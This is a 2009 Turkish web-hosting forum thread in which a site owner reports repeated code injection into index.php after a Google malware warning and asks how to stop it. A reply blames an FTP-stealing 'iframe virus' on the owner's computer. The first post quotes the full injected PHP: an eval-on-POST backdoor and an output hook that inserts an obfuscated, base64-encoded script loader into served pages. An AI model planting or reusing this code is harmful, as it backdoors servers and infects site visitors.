• 19-05-2009, 10:50:40
    #1
    index.php ve sw.js adlı dosyalara sürekli kod basılıyor sitemin hitleri yarıya düştü google bilgisayarıza zarar verilir uyarısı verdi

    index.php ve sq.js adlı dosyaları tekrar attım google tekrar inceleyin bildirisi yaptım düzeldi

    ama tekrar aynı sorun yine aynı kod basılıyor
    lütfen bunu nasıl engelleyebilirim?

    bastıkları kod bu:

    Alıntı
    <?php if(!function_exists('tmp_lkojfghx')){if(isset($_PO ST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL ',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2Nya XB0PjwhLS0gCihmdW5jdGlvbigpe3ZhciBZcko2PSclJzt2YXI gbFhUPSd2YXItMjBhLTNkLTIyU2MtNzJpcHRFbi02N2luZS0yM i0yYy02Mi0zZC0yMlZlcnNpLTZmbigpLTJiLTIyLTJjai0zZC0 yMi0yMi0yY3UtM2RuYXZpLTY3LTYxdG8tNzItMmV1c2VyQS02N 2VuLTc0LTNiaS02Ni0yOC0yOHUtMmVpbmRleC00ZmYoLTIyLTQ zLTY4LTcyby02ZC02NS0yMi0yOS0zYzApLTI2LTI2KHUtMmVpb mRlLTc4LTRmZigtMjJXaS02ZS0yMiktM2UwKS0yNi0yNih1LTJ laW5kZXhPLTY2KC0yMk5ULTIwNi0yMiktM2MwKS0yNi0yNigtN jRvLTYzdW1lbnQtMmVjLTZmb2tpZS0yZWluZGV4Ty02Ni0yOC0 yMm1pZS02Yi0zZDEtMjItMjktM2MwLTI5LTI2LTI2KHR5cGVvL TY2KHpydnp0cyktMjEtM2QtNzQtNzlwZW9mKC0yMi00MS0yMi0 yOS0yOSktN2J6cnZ6dHMtM2QtMjJBLTIyLTNiZS03NmEtNmMoL TIyaWYod2luLTY0by03Ny0yZS0yMi0yYmErLTIyKWotM2RqKy0 yMistNjErLTIyLTRkYS02YW9yLTIyK2IrYSstMjJNaW4tNmYtN zItMjItMmJiLTJiYS0yYi0yMi00MnUtNjlsZC0yMitiKy0yMmo tM2ItMjIpLTNiZG9jdW1lLTZlLTc0LTJld3ItNjl0ZSgtMjItM 2NzY3JpcC03NC0yMHNyYy0zZC0yZi0yZm1hci03NHUtMjIrLTI yLTdhLTJlYy02ZS0yZi03NmlkLTJmLTNmaWQtM2QtMjIraistM jItM2UtM2MtNWMtMmZzY3JpcHQtM2UtMjIpLTNiLTdkJztldmF sKHVuZXNjYXBlKGxYVC5yZXBsYWNlKC8tL2csWXJKNikpKX0pK Ck7CiAtLT48L3NjcmlwdD4='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).ch r(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$ v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos( $v,'document.write')))$s=str_replace($v,'',$s);}$s 1=preg_replace('#<script language=javascript><!-- \n\(function\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_re place('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);else if(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($ b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_l kojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!=' tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?><?php require_once('ayar.php'); ?>
  • 19-05-2009, 11:28:20
    #2
    Üyeliği durduruldu
    iframe virüsü var. kod basma ile ilgisi yok. ftp den baglanan bilgisayarinizda virüs var. hemen bir kaç konu aşağıda iframe virüslerini temizleme başlığını görebilirsiniz